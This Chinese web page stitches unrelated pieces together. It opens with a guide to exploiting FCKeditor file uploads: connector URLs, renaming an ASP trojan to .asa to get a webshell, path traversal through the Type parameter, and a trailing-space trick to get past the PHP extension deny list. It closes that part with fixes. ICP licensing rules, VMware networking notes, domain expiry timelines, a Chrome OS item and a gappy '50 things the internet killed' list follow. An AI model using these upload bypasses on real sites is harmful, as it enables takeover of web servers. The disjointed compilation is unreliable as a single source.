http://www.***.com/FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp。

将 找到的地址复制到IE地址栏中打开，出现一个上传文件管理页面，此时我们就可以上传我们的asp木马了，不过在上传之前我们需要将asp木马的后缀名改为 asa，因为FCKeditor限制了asp文件的上传，却没有限制asa文件的上传，而asp文件和asa文件的执行效果是一样的，这就是 FCKeditor的漏洞所在——上传文件的过滤不严。
上传asp木马完成后，就可以在浏览器中执行木马，此时我们得到的是一个webshell，可以对网站中任意文件进行操作，如果想黑掉网站，也是轻而易举的事。可见，虽然FCKeditor功能做得很强大，在安全性方面却很薄弱。

如果通过上面的步骤进行测试没有成功，可能有以下几方面的原因：
1.FCKeditor没有开启文件上传功能，这项功能在安装FCKeditor时默认是关闭的。如果想上传文件，FCKeditor会给出错误提示。
2.网站采用了精简版的FCKeditor，精简版的FCKeditor很多功能丢失，包括文件上传功能。
3.FCKeditor的这个漏洞已经被修复。
FCKeditor上传路径
比如输入:

http://[target]/[path]/FCKeditor/editor/filemanager/browser/default/browser.html?Type=all&Connector=connectors/asp/connector.asp

上传文件地址是UserFiles/all/1.asa
“Type=all” 这个变量是自己定义的,在这里创建了all这个目录,而且新的目录没有上传文件格式的限制.
type=xxx
所传的文件就到了http://[target]/[path]/UserFiles/xxx/下了
type=../
所传文件就到网站根目录了.
FCKeditor的JSP版漏洞
查看配置和列出目录下的文件：

http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=%2F

上传shell的地址:

http://www.xxx.com/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector

跟版本有关系.并不是百分百成功.
FCKeditor的PHP版漏洞
1. 上传文件漏洞，适用版本2.4.2以下：
fckeditor/editor/filemanager/upload/php/upload.php 61行未对Media类型进行上传文件类型的控制，导致用户上传任意文件。修补办法：更新到最新的2.5版本。或者在config.php文件中，添加对Media类型的文件类型限制。
2. 被动过滤：
config.php：

$Config['AllowedExtensions']['File'] = array() ;
$Config['DeniedExtensions']['File'] = array(‘html’,'htm’,'php’,'php2′,’php3′,’php4′,’php5′,’phtml’,'pwml’,'inc’,'asp’,'aspx’,'ascx’,'jsp’,'cfm’,'cfc’,'pl’,'bat’,'exe’,'com’,'dll’,'vbs’,'js’,'reg’,'cgi’,'htaccess’,'asis’) ;

字典越来越大啊 。我们先测试先以前的exp，上穿aa.php. 这样的文件结果变成了 aa_php. 看来还有其他变化啊：

function FileUpload( $resourceType, $currentFolder )
{
$sErrorNumber = ’0′ ;
$sFileName = ” ;

……….
// Replace dots in the name with underscores (only one dot can be there… security issue).
if ( $Config['ForceSingleExtension'] ) //多了个$Config['ForceSingleExtension']的配置 默认是ture
$sFileName = preg_replace( ‘/\\.(?![^.]*$)/’, ‘_’, $sFileName ) ; //这里替换了文件名里多余的. 即：1.1.php–>1_1.php

$sOriginalFileName = $sFileName ;

// Get the extension.
$sExtension = substr( $sFileName, ( strrpos($sFileName, ‘.’) + 1 ) ) ;
$sExtension = strtolower( $sExtension ) ; //替换后取后缀，因为上面的替换所以保证了文件名里只有一个. 即：1_1.php—>php

$arAllowed = $Config['AllowedExtensions'][$resourceType] ;
$arDenied = $Config['DeniedExtensions'][$resourceType] ;

if ( ( count($arAllowed) == 0 || in_array( $sExtension, $arAllowed ) ) && ( count($arDenied) == 0 || !in_array( $sExtension, $arDenied ) ) )//判断
{
………….

if ( is_file( $sFilePath ) )

{
$iCounter++ ;
$sFileName = RemoveExtension( $sOriginalFileName ) . ‘(‘ . $iCounter . ‘).’ . $sExtension ;

/*
这里判断有没有相同的文件名，如果有这改为在后缀前加一个(n). 如：_phs–>(1)._phs
那么我们可以利用产生的这个(n).不呢？答案是：NO 因为我们提交_php 经过
// Get the extension.
$sExtension = substr( $sFileName, ( strrpos($sFileName, ‘.’) + 1 ) ) ;
$sExtension = strtolower( $sExtension ) ;
这里时strrpos($sFileName, ‘.’)为空所以 还是：_php–>php 这个是没有办法通过上面的判断语句的
*/

$sErrorNumber = ’201′ ;

}
else
{
move_uploaded_file( $oFile['tmp_name'], $sFilePath ) ;

通过上面的分析，好象没办法了？。呵呵 我们可以不用.嘛，在win下还有一个空格呢 提交1.php+空格 就可以过去所有的。不过空格只支持win系统 *nix是不支持的[1.php和1.php+空格是2个不同的文件]

最后说明下，默认fckeditor是不让上传文件的：config.php：
// SECURITY: You must explicitelly enable this “connector”. (Set it to “true”).
$Config['Enabled'] = false ;
！
漏洞的修复
FCKeditor的漏洞因上传功能而起，因此只要我们将上传功能彻底关闭就可以了。打开位于FCKeditor安装目录 editor/filemanager/browser/default/connectors/asp/文件夹中的config.asp文件，将其中的 ConfigIsEnabled参数后面的值改为False，这样做的目的是将FCKeditor的文件上传功能关闭，漏洞当然也就无法被黑客利用了。
其实最简单的方法就是升级FCKeditor的版本，升级后漏洞就不存在了。如果FCKeditor是嵌入在网站程序中的，那么可能升级后会比较麻烦，这时采用第一种方法即可。

2、什么是经营性互联网信息服务？
是指通过互联网向上网用户有偿提供信息或网页制作等服务的活动。从事经营性互联网信息服务的经营单位应向信息产业部或各省通信管理局申请办理增值电信业务经营许可证。

3、什么是非经营性互联网信息服务？
是指通过互联网向上网用户无偿提供具有公开性、共享性信息的服务活动。从事非经营性互联网信息服务的单位应向信息产业部办理报备手续。

4、经营性与非经营性互联网信息服务如何界定？
《互联网信息服务管理办法》（国务院令第292号）第三条规定“互联网信息服务分为经营性和非经营性两类。经营性互联网信息服务，是指通过互联网向上网用户有偿提供信息或者网页制作等服务活动。非经性互联网信息服务，是指通过互联网向上网用户无偿提供具有公开性、共享性信息的服务活动。”

特别提醒：

中华人民共和国国务院令第292号《互联网信息服务管理办法》第十九条规定，未取得经营许可证，擅自从事经营性互联网信息服务，或者超出许可的项目提供服务的，由省、自治区、直辖市电信管理机构责令限期改正，有违法所得的，没收违法所得，处违法所得3倍以上5倍以下的罚款；没有违法所得或者违法所得不足5万元的，处10万元以上100万元以下的罚款。

根据中华人民共和国信息产业部令第33号《非经营性互联网信息服务备案管理办法》第二十二条规定，未履行备案手续提供非经营性互联网信息服务的，由住所所在地省通信管理局责令限期改正，并处一万元罚款；拒不改正的，关闭网站。

一、从事经营性互联网信息服务，应具备下列条件：
　　1、经营者为依法设立的公司；
　　2、有业务发展计划及相关技术方案；
　　3、有健全的网络与信息安全保障措施，包括网站安全保障措施、信息安全保密管理制度、用户信息安全管理制度；
　　4、有与开展经营活动相适应的资金和专业技术人员；
    5、有为用户提供长期服务的信誉或者能力；
    6、从事新闻、出版、教育、医疗保健、药品和医疗器械等互联网信息服务，
    在申请经营许可前，应当依法经有关主管部门审核同意，并取得有关主管部门同意的文件；
    7、国家规定的其他条件。
二、申请互联网信息服务经营许可证应提交的材料：
    1、申办经营许可证的书面申请，其内容应包括申办的电信业务名称、网站所在的互联网接入服务提供者名称、业务覆盖范围、公司名称、通信地址、邮政编码、联系人、联系电话、电子信箱地址等。
    2、公司法人工商营业执照复印件（经登记机关盖章的有效复印件）。
    3、公司近期经会计师事务所或审计师事务所审定的验资报告。
    4、公司章程和公司股权结构及股东的经济性质的有效证明材料。
    5、公司概况。包括公司基本情况，开设的服务项目、网站的主要栏目和内容，有关的收费项目及收费标准，公司人员情况、场地和设施等。
　　6、业务发展计划及相关技术方案。技术方案中应包括组网方案、服务器机房地址、网站名称/域名、IP地址、提供接入的ISP公司全称、接入速率等内容。
　　7、网络与信息安全保障措施。包括网站安全保障措施、信息安全保密管理制度、用户信息安全管理制度。
　　8、开展经营活动相适应的资金和专业技术人员的证明材料。
    9、为用户提供长期服务的信誉或者能力的材料。
   10、从事经营新闻、出版、教育、医疗保健、药品和医疗器械等互联网信息服务，应提供有关主管部门同意的文件。
   11、拟开办电子公告服务栏目的，应当在申请经营性互联网信息服务许可时，按照国家有关规定提交专项申请报告。

   从事非经营性互联网信息服务，应备案手续并提交下列材料：
　 1、填报《互联网信息服务备案登记表》一式两份（单位网站必须加盖单位公章、个人网站必须网站所有者本人签名）。
   2、从事新闻、出版、教育、医疗保健、药品和医疗器械等互联网信息服务，应当依法经有关主管部门审核同意。
   提供有关主管部门同意的文件。
   3、拟开办电子公告服务栏目的，应当在办理非经营性互联网信息服务备案时，按照国家有关规定提交专项备案材料。


　　注意：非经营性互联网信息服务，备案材料报送网站所在的互联网接入服务提供者处。

会列出你所有的共享文件夹   

另外，运行 cmd   到命令行方式下，执行   net  share   也可以列出

默认使用vmnet0

将虚拟机的ip设置与主机同网段未使用ip,其余与主机相同:

例如主机ip是10.70.54.31,设置虚拟机ip为10.70.54.22。netmask,broadcast,gateway,dns都与主机相同即可实现虚拟机<--->主机 虚拟机<---->互联网 通信。

vmware虚拟机网络设置之2.nat :

默认使用vmnet8

将虚拟机设置成使用dhcp方式上网,windows下选择"自动获取ip",linux下开启dhcp服务即可

也可以手动设置:

ip设置与vmnet8同网段,gateway设置成vmnet8的gateway(/etc/vmware/vmnet8/nat/nat.conf)中可以查到vmnet8的gateway,通常是xxx.xxx.xxx.2。

netmask,broadcast设置与vmnet8相同,dns设置与主机相同。

例如 vmnet8 ip:172.16.249.1 网关 :172.16.249.2

虚拟机设置: ip :172.16.249.100  网关: 172.16.249.2

vmware虚拟机网络设置之3.host-only :

默认使用vmnet1

将虚拟机ip设置与vmnet1同网段,gateway设置成vmnet1的ip,其余设置与vmnet1相同,dns设置与主机相同

例如 vmnet1 ip :172.16.245.1

vmware虚拟机网络设置: ip :172.16.245.100 gateway :172.16.245.1

这样就实现了虚拟机<--->主机 通信,但是 虚拟机<--->互联网 仍无法通信

虚拟机与互联网通信：

1.开启主机路由功能

2.设定iptables，使主机成为一台nat server

1. echo 1 >/proc/sys/net/ipv4/ip_forward 这样就主机就具有了路由功能

2. iptables -t nat -A POSTROUTING -o eth0 -s 172.16.245.0/24 -j MASQUERADE

这条vmware虚拟机网络设置规则意思是将来自172.16.245.0/24封包的来源ip伪装成eth0的ip，实现虚拟机与互联网通信

如果网络接口是ppp+或pppoe则需要修改成-o pppoe

当然-s  172.16.245.0/24 也要根据实际情况修改

.com国际域名状态参考:

1：比如域名china.com到期时间为2009年03月01日；

2：从2009年03月02日开始，域名的ns将会被系统自动删除，域名无法解析，注册公司会继续保留该域名30天，用户可以在这30天的期限内续费；
 
3：如果在2所述的30天期限内没有续费，即从2009年03月31日开始，域名将变成RedemptionPeriod状态，该状态将会保持30天，在此期间该域名不会掉下来，但是除了restore命令以外的所有命令对此域名无效；

4：域名在RedemptionPeriod状态下可以restore回来，但每restore一次需要支付费用；[1个域名的费用约1000元左右]

5：如果域名在RedemptionPeriod状态下的30天没有restore，从2009年04月29日开始域名变成PendingDelete状态（5天），2005年05月04日该域名将会删除。
大约域名从到期到掉下来时间为:30+30+5=65天

精确删除时间现在也说不清楚，有时是75天，带有很大的随机性，但也存在着一些普遍规律。

国际域名的删除时间，集中在北京时间早上2点到4点

而.cn域名是过期15天后，在第16天凌晨4:30分准时删除的

解决方法是删除虚拟机的硬盘，再建一个IDE的硬盘就可以了

        按照谷歌的计划，Chrome OS操作系统测试版将从19日开始放出，用户可以从谷歌官方网站免费下载。谷歌方面表示，Chrome OS正式版将会在明年1月份放出。

互联网一视同仁：在同样的互联网上，活动家们反对不公，反抗专制，而无辜的人们则看着他们的生活在肆虐的网络病毒中毁灭。下面编集了５０件正在被互联网扼杀的事物，从产品和商业模式到生活经验及习惯。我们都放弃过一些东西，它们败给了现代工具，特别是手机和ＧＰＳ。云科技专门做了删减，整理如下：

1）辩驳的艺术

或许Youtube上无聊的争执并没有代表性，然而互联网确实使争论的口吻更加尖锐。博客上最粗鲁的发言看起来不接受任何真诚的相异观点；所有反对者都是“别有用心的”。

2）对名人的尊重

Twtter变成了一个关于过世名人的笑话的交流中心。很无聊，但是可以缓解“悲痛的粉丝”的心绪，不然悲伤之情就成了主流。

3）没完没了地听一张唱片

似乎单曲并没有从互联网中受益——这种变化可以从两种角度看。没有必要再忍受八音轨双声道了，音乐可以像电台司令的《失忆人》所受到的名副其实的待遇那样，以“集合专辑”的形式在电脑上广泛传播。

5）准时

在手机发明之前，人们不得不遵守约定，准时来到酒吧。在开会之前发短信告诉朋友你可能晚五分钟，已经非常普遍。

6）电视传真/文字电视广播

任何年龄层的任何一个体育迷都能告诉你他们最喜欢的电视传真的页数，但是这项服务中的沉闷的图表和四段式文章已经非常过时。IVT今年早些时候说它将升级文字电视广播的版本。

7）少年时期第一次购买色情产品的紧张感

网络上那些无处不在、赤裸裸的色情作品，终结了青少年们曾经最战战兢兢的人生经历之一——购买黄色杂志。为什么非要瑟瑟发抖地排在WHSmiths零售商店的队伍中，如果你在自己的卧室里就能免费下载到成堆的淫秽内容？这种形式同样威胁到了《狂欢和顶层》这种在偏远地区传播的低劣书籍。

8）电话黄页

你可以在亚马逊网站上找到任何东西。

10）手表

在口袋里翻来翻去找一只手机虽然并不如低头审视手表优雅，但是你用不着花两份钱了。

11）唱片店

在一个没有人愿意为音乐付一分钱的世界，把它们每12首放在一个脆弱的塑料制品上标价16.99欧元，在商业上已经没有参考意义。

12）写信/笔友

电子邮件快速、便宜并且更方便；收到朋友寄来的手写信件，已经成了怀旧而稀有的快乐。于是，通常的结尾句“你忠实的朋友”，也变成了“最好的”或者“谢谢”。

13）记忆力

当所有事情，不论多么晦涩，都可以在谷歌和维基上用几秒钟找到解答，“单纯的”知识记忆存取的价值就降低了。对于知识，重点变成了你如何运用它——互联网时代需要的是创造力。

14）空闲时间

你最后一次趴在窗子上观察外面的世界，或者重读一遍最喜欢的书是什么时候？互联网吸引了我们全部的注意力，毫无保留、难以抗拒。

15）相册和幻灯片

现在，我们在Facebook，拍客或Snapfish这样的在线照片打印服务网站分享我们的照片。今年上半年柯达宣布因缺乏需求，它已经终止彩色胶卷生产。

16）恶作剧和阴谋

人们通常认为互联网上充斥着怪人，不值一提，但是如今它已成为揭露而非单单记载阴谋的最有力的基地。优秀的网站——“不择手段的人们”，不断地发表着对于那些成功人士的冷眼旁观的清醒言论。

17）一起看电视

互联网支撑的定制电视，从英国的iPLayer到美国的Hulu，使亲友、同事们可以在不同时间观看同样的节目，慢慢侵蚀了电视最重要的文化影响力基础之一——一同分享的体验。约好一起看电视，这种事情大概只发生在看体育比赛或者现场真人秀的时候。

18）权威参考书

我们仍然渴求可靠信息，但是一般都不愿意付钱。

20）书后的订购表

亚马逊的“买了这件东西的顾客同样也购买了……”服务栏目，看起来具有同样的功能。

21）过时的知识和体育比赛结果

你最后一次不是为了看评论和分析，只为了看到底是谁赢了比赛而买报纸是什么时候？当车里人手一台iPhone的时候，在看球赛回家的路上，再也不用为了听清詹姆斯·亚历山大·戈登的播报而刻意保持安静了。

22）可执行版权

唱片公司，电影工作室和报纸经销部都在努力抗争，但是已经放开的闸门还可能关回去吗？

26）节假日新闻忽视症

在希思罗机场降落后扫一眼首页，曾经是令人兴奋的经验——有谁死了？政府还没倒吗？现在，谁要是在出差的时候，能忍住诱惑一次去也不去点那些标题，那他可真够意志坚定的。

27）背住电话号码

把数字键入你的电话号码簿以后，你再也不会去看它们一眼。

28）对医生和其他专家的尊敬

遍地开花的健康网站逐渐削弱了全科医师的地位，现在病人们会拿着打印出来的纸张来质疑他们的诊断。

29）外国语言的神秘

类似宝贝鱼这样的网站，总能提供即时的、通顺的多国外语翻译——但是过滤掉了它们的优美和韵律。

30）地理知识

随着GPS从汽车延伸到智能手机，知道怎么从A地走到B地已经算不得了不起的技能。就像伦敦出租车司机们花费多年记住的关于每条道路的信息，现在却在被微型出租轿车廉价贩售。

31）个人隐私

我们可以批评政府让监视文化泛滥，但是媒介网站上的每一个用户，都会放出许多自身信息，比独裁老大哥在暗地里动手脚所期望得到的更多。

34）主流媒体

美国的西雅图电讯报和洛杉矶新闻报已经倒闭，而英国观察家报很可能步其后尘。自由新闻和广告向网站转移阵地的双重压力，威胁着几乎所有媒体的基础商业模式。

35）专注

每日混迹在谷歌邮箱，Twitter，脸谱，和谷歌新闻之间，人们还能完成他们的工作真是奇迹。

37）重塑个人形象

当你的Facebook个人网页上贴满了你的“旧”照片的时候，你怎么在大学里重新建立一个新形象呢？

38）维克多·亚奴科维奇

乌克兰橙色革命是由一个学生和年轻活动家秘密结社组织发起的，他们充分利用了互联网的力量，动员反对力量推翻旧政权，扫清了维克多·尤先科通往权力的道路。

39）保险业务咨询

他们的广告或许很好，但是其中一项每年最繁琐的工作，保险费计算，已经被保险费用对比网站终结了。

40）未被发现的艺术家

向“超常艺术”网站和“拍客”上传画作，或者在writebuzz上面发表诗作，易如反掌。所以那些居住阁楼的落魄艺术家，再也没有借口了。

41）日记本前几页上引导条目的实用性

如果谁还埋头在他的笔记本里查找里斯本的时区，或是多少升等于一加仑，我们不认识他。

42）重聚的兴奋

你在过去的五年里注视着她们一点点胖起来，所以当你见到你的初恋，很难再激起那种激动。

43）纸牌游戏

这款曾经的消耗时间的电脑游戏，现在已经被网页上有趣的小游戏取代。扫雷也同样。

44）相信尼日利亚商人和他们的价钱

现在有些便宜需要好好考察一番才能接受了。

45）妓女应招卡片/路边求欢

性服务可以在互联网上交易，远比在街角交易便宜、安全和高效得多。

46）令人吃惊的产品/电影的发行

公司们反间谍的规定制定得越来越严苛，但是最后他们开始发现，让英国消费者等候六个月才交出他们的钱并不能说是明智的计划。

49）科幻杂志

博客和爱好者论坛，为人们提供了比传统纸质杂志更多的自由和交流方式，并且可以被更多人看到。

50）你的午餐面包

你今天离开了你的桌子了吗？或者在发着私人邮件并且点击着伊斯兰堡一周游的价格的时候，你还能吞下一个三明治吗？（原文地址）